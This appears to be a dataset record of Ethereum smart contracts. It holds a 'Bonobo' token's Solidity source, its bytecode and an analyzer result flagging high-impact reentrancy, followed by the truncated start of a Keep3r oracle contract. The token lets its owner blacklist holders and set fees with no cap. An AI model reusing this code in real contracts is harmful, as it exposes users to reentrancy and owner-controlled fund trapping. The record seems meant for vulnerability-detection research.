private constant _symbol = "Bonobo"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x996E76144e24905CB798A44A2162174E758B80F3); address payable private _marketingAddress = payable(0x996E76144e24905CB798A44A2162174E758B80F3); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610557578063dd62ed3e14610577578063ea1644d5146105bd578063f2fde38b146105dd57600080fd5b8063a2a957bb146104d2578063a9059cbb146104f2578063bfd7928414610512578063c3c8cd801461054257600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b257600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611961565b6105fd565b005b34801561020a57600080fd5b5060408051808201909152600a815269426f6e6f626f20496e7560b01b60208201525b60405161023a9190611a26565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611a7b565b61069c565b604051901515815260200161023a565b34801561027f57600080fd5b50601454610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50670de0b6b3a76400005b60405190815260200161023a565b3480156102dc57600080fd5b506102636102eb366004611aa7565b6106b3565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023a565b34801561032e57600080fd5b50601554610293906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ae8565b61071c565b34801561036e57600080fd5b506101fc61037d366004611b15565b610767565b34801561038e57600080fd5b506101fc6107af565b3480156103a357600080fd5b506102c26103b2366004611ae8565b6107fa565b3480156103c357600080fd5b506101fc61081c565b3480156103d857600080fd5b506101fc6103e7366004611b30565b610890565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ae8565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610293565b34801561045957600080fd5b506101fc610468366004611b15565b6108bf565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b50604080518082019091526006815265426f6e6f626f60d01b602082015261022d565b3480156104be57600080fd5b506101fc6104cd366004611b30565b610907565b3480156104de57600080fd5b506101fc6104ed366004611b49565b610936565b3480156104fe57600080fd5b5061026361050d366004611a7b565b610974565b34801561051e57600080fd5b5061026361052d366004611ae8565b60106020526000908152604090205460ff1681565b34801561054e57600080fd5b506101fc610981565b34801561056357600080fd5b506101fc610572366004611b7b565b6109d5565b34801561058357600080fd5b506102c2610592366004611bff565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101fc6105d8366004611b30565b610a76565b3480156105e957600080fd5b506101fc6105f8366004611ae8565b610aa5565b6000546001600160a01b031633146106305760405162461bcd60e51b815260040161062790611c38565b60405180910390fd5b60005b81518110156106985760016010600084848151811061065457610654611c6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069081611c99565b915050610633565b5050565b60006106a9338484610b8f565b5060015b92915050565b60006106c0848484610cb3565b610712843361070d85604051806060016040528060288152602001611db3602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ef565b610b8f565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161062790611c38565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161062790611c38565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e457506013546001600160a01b0316336001600160a01b0316145b6107ed57600080fd5b476107f781611229565b50565b6001600160a01b0381166000908152600260205260408120546106ad90611263565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161062790611c38565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ba5760405162461bcd60e51b815260040161062790611c38565b601655565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062790611c38565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109315760405162461bcd60e51b815260040161062790611c38565b601855565b6000546001600160a01b031633146109605760405162461bcd60e51b815260040161062790611c38565b600893909355600a91909155600955600b55565b60006106a9338484610cb3565b6012546001600160a01b0316336001600160a01b031614806109b657506013546001600160a01b0316336001600160a01b0316145b6109bf57600080fd5b60006109ca306107fa565b90506107f7816112e7565b6000546001600160a01b031633146109ff5760405162461bcd60e51b815260040161062790611c38565b60005b82811015610a70578160056000868685818110610a2157610a21611c6d565b9050602002016020810190610a369190611ae8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6881611c99565b915050610a02565b50505050565b6000546001600160a01b03163314610aa05760405162461bcd60e51b815260040161062790611c38565b601755565b6000546001600160a01b03163314610acf5760405162461bcd60e51b815260040161062790611c38565b6001600160a01b038116610b345760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610627565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610627565b6001600160a01b038216610c525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610627565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610627565b6001600160a01b038216610d795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610627565b60008111610ddb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610627565b6000546001600160a01b03848116911614801590610e0757506000546001600160a01b03838116911614155b156110e857601554600160a01b900460ff16610ea0576000546001600160a01b03848116911614610ea05760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610627565b601654811115610ef25760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610627565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3457506001600160a01b03821660009081526010602052604090205460ff16155b610f8c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610627565b6015546001600160a01b038381169116146110115760175481610fae846107fa565b610fb89190611cb4565b106110115760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610627565b600061101c306107fa565b6018546016549192508210159082106110355760165491505b80801561104c5750601554600160a81b900460ff16155b801561106657506015546001600160a01b03868116911614155b801561107b5750601554600160b01b900460ff165b80156110a057506001600160a01b03851660009081526005602052604090205460ff16155b80156110c557506001600160a01b03841660009081526005602052604090205460ff16155b156110e5576110d3826112e7565b4780156110e3576110e347611229565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112a57506001600160a01b03831660009081526005602052604090205460ff165b8061115c57506015546001600160a01b0385811691161480159061115c57506015546001600160a01b03848116911614155b15611169575060006111e3565b6015546001600160a01b03858116911614801561119457506014546001600160a01b03848116911614155b156111a657600854600c55600954600d555b6015546001600160a01b0384811691161480156111d157506014546001600160a01b03858116911614155b156111e357600a54600c55600b54600d555b610a7084848484611470565b600081848411156112135760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611ccc565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610698573d6000803e3d6000fd5b60006006548211156112ca5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610627565b60006112d461149e565b90506112e083826114c1565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132f5761132f611c6d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138357600080fd5b505afa158015611397573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113bb9190611ce3565b816001815181106113ce576113ce611c6d565b6001600160a01b0392831660209182029290920101526014546113f49130911684610b8f565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142d908590600090869030904290600401611d00565b600060405180830381600087803b15801561144757600080fd5b505af115801561145b573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147d5761147d611503565b611488848484611531565b80610a7057610a70600e54600c55600f54600d55565b60008060006114ab611628565b90925090506114ba82826114c1565b9250505090565b60006112e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611668565b600c541580156115135750600d54155b1561151a57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154387611696565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157590876116f3565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a49086611735565b6001600160a01b0389166000908152600260205260409020556115c681611794565b6115d084836117de565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164382826114c1565b82101561165f57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116895760405162461bcd60e51b81526004016106279190611a26565b5060006112208486611d71565b60008060008060008060008060006116b38a600c54600d54611802565b92509250925060006116c361149e565b905060008060006116d68e878787611857565b919e509c509a509598509396509194505050505091939550919395565b60006112e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ef565b6000806117428385611cb4565b9050838110156112e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610627565b600061179e61149e565b905060006117ac83836118a7565b306000908152600260205260409020549091506117c99082611735565b30600090815260026020526040902055505050565b6006546117eb90836116f3565b6006556007546117fb9082611735565b6007555050565b600080808061181c606461181689896118a7565b906114c1565b9050600061182f60646118168a896118a7565b90506000611847826118418b866116f3565b906116f3565b9992985090965090945050505050565b600080808061186688866118a7565b9050600061187488876118a7565b9050600061188288886118a7565b905060006118948261184186866116f3565b939b939a50919850919650505050505050565b6000826118b6575060006106ad565b60006118c28385611d93565b9050826118cf8583611d71565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112e08161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112e082611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112e08161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122005a66fc06298b7d84e021271971078dceb39cd7d059a5e9adee77a65ec710acf64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,686
0x29e7d14062bb1bffca511d46f2e1a7591dd71e67
/** *Submitted for verification at Etherscan.io on 2021-03-30 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.2; interface IUniswapV2Pair { function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function token0() external view returns (address); function token1() external view returns (address); } interface IKeep3rV1 { function keepers(address keeper) external returns (bool); function KPRH() external view returns (IKeep3rV1Helper); function receipt(address credit, address keeper, uint amount) external; } interface IKeep3rV1Helper { function getQuoteLimit(uint gasUsed) external view returns (uint); } // sliding oracle that uses observations collected to provide moving price averages in the past contract Keep3rV2Oracle { constructor(address _pair) { _factory = msg.sender; pair = _pair; (,,uint32 timestamp) = IUniswapV2Pair(_pair).getReserves(); uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(_pair).price0CumulativeLast() * e10 / Q112); uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(_pair).price1CumulativeLast() * e10 / Q112); observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast); } struct Observation { uint32 timestamp; uint112 price0Cumulative; uint112 price1Cumulative; } modifier factory() { require(msg.sender == _factory, "!F"); _; } Observation[65535] public observations; uint16 public length; address immutable _factory; address immutable public pair; // this is redundant with granularity and windowSize, but stored for gas savings & informational purposes. uint constant periodSize = 1800; uint Q112 = 2**112; uint e10 = 10**18; // Pre-cache slots for cheaper oracle writes function cache(uint size) external { uint _length = length+size; for (uint i = length; i < _length; i++) observations[i].timestamp = 1; } // update the current feed for free function update() external factory returns (bool) { return _update(); } function updateable() external view returns (bool) { Observation memory _point = observations[length-1]; (,, uint timestamp) = IUniswapV2Pair(pair).getReserves(); uint timeElapsed = timestamp - _point.timestamp; return timeElapsed > periodSize; } function _update() internal returns (bool) { Observation memory _point = observations[length-1]; (,, uint32 timestamp) = IUniswapV2Pair(pair).getReserves(); uint32 timeElapsed = timestamp - _point.timestamp; if (timeElapsed > periodSize) { uint112 _price0CumulativeLast = uint112(IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112); uint112 _price1CumulativeLast = uint112(IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112); observations[length++] = Observation(timestamp, _price0CumulativeLast, _price1CumulativeLast); return true; } return false; } function _computeAmountOut(uint start, uint end, uint elapsed, uint amountIn) internal view returns (uint amountOut) { amountOut = amountIn * (end - start) / e10 / elapsed; } function current(address tokenIn, uint amountIn, address tokenOut) external view returns (uint amountOut, uint lastUpdatedAgo) { (address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn); Observation memory _observation = observations[length-1]; uint price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast() * e10 / Q112; uint price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast() * e10 / Q112; (,,uint timestamp) = IUniswapV2Pair(pair).getReserves(); // Handle edge cases where we have no updates, will revert on first reading set if (timestamp == _observation.timestamp) { _observation = observations[length-2]; } uint timeElapsed = timestamp - _observation.timestamp; timeElapsed = timeElapsed == 0 ? 1 : timeElapsed; if (token0 == tokenIn) { amountOut = _computeAmountOut(_observation.price0Cumulative, price0Cumulative, timeElapsed, amountIn); } else { amountOut = _computeAmountOut(_observation.price1Cumulative, price1Cumulative, timeElapsed, amountIn); } lastUpdatedAgo = timeElapsed; } function quote(address tokenIn, uint amountIn, address tokenOut, uint points) external view returns (uint amountOut, uint lastUpdatedAgo) { (address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn); uint priceAverageCumulative = 0; uint _length = length-1; uint i = _length - points; Observation memory currentObservation; Observation memory nextObservation; uint nextIndex = 0; if (token0 == tokenIn) { for (; i < _length; i++) { nextIndex = i+1; currentObservation = observations[i]; nextObservation = observations[nextIndex]; priceAverageCumulative += _computeAmountOut( currentObservation.price0Cumulative, nextObservation.price0Cumulative, nextObservation.timestamp - currentObservation.timestamp, amountIn); } } else { for (; i < _length; i++) { nextIndex = i+1; currentObservation = observations[i]; nextObservation = observations[nextIndex]; priceAverageCumulative += _computeAmountOut( currentObservation.price1Cumulative, nextObservation.price1Cumulative, nextObservation.timestamp - currentObservation.timestamp, amountIn); } } amountOut = priceAverageCumulative / points; (,,uint timestamp) = IUniswapV2Pair(pair).getReserves(); lastUpdatedAgo = timestamp - nextObservation.timestamp; } function sample(address tokenIn, uint amountIn, address tokenOut, uint points, uint window) external view returns (uint[] memory prices, uint lastUpdatedAgo) { (address token0,) = tokenIn < tokenOut ? (tokenIn, tokenOut) : (tokenOut, tokenIn); prices = new uint[](points); if (token0 == tokenIn) { { uint _length = length-1; uint i = _length - (points * window); uint _index = 0; Observation memory nextObservation; for (; i < _length; i+=window) { Observation memory currentObservation; currentObservation = observations[i]; nextObservation = observations[i + window]; prices[_index] = _computeAmountOut( currentObservation.price0Cumulative, nextObservation.price0Cumulative, nextObservation.timestamp - currentObservation.timestamp, amountIn); _index = _index + 1; } (,,uint timestamp) = IUniswapV2Pair(pair).getReserves(); lastUpdatedAgo = timestamp - nextObservation.timestamp; } } else { { uint _length = length-1; uint i = _length - (points * window); uint _index = 0; Observation memory nextObservation; for (; i < _length; i+=window) { Observation memory currentObservation; currentObservation = observations[i]; nextObservation = observations[i + window]; prices[_index] = _computeAmountOut( currentObservation.price1Cumulative, nextObservation.price1Cumulative, nextObservation.timestamp - currentObservation.timestamp, amountIn); _index = _index + 1; } (,,uint timestamp) = IUniswapV2Pair(pair).getReserves(); lastUpdatedAgo = timestamp - nextObservation.timestamp; } } } } contract Keep3rV2OracleFactory { function pairForSushi(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint160(uint256(keccak256(abi.encodePacked( hex'ff', 0xc35DADB65012eC5796536bD9864eD8773aBc74C4, keccak256(abi.encodePacked(token0, token1)), hex'e18a34eb0e04b04f7a0ac29a6e80748dca96319b42c54d679cb821dca90c6303' // init code hash ))))); } function pairForUni(address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint160(uint256(keccak256(abi.encodePacked( hex'ff', 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash ))))); } modifier keeper() { require(KP3R.keepers(msg.sender), "!K"); _; } modifier upkeep() { uint _gasUsed = gasleft(); require(KP3R.keepers(msg.sender), "!K"); _; uint _received = KP3R.KPRH().getQuoteLimit(_gasUsed - gasleft()); KP3R.receipt(address(KP3R), msg.sender, _received); } address public governance; address public pendingGovernance; /** * @notice Allows governance to change governance (for future upgradability) * @param _governance new governance address to set */ function setGovernance(address _governance) external { require(msg.sender == governance, "!G"); pendingGovernance = _governance; } /** * @notice Allows pendingGovernance to accept their role as governance (protection pattern) */ function acceptGovernance() external { require(msg.sender == 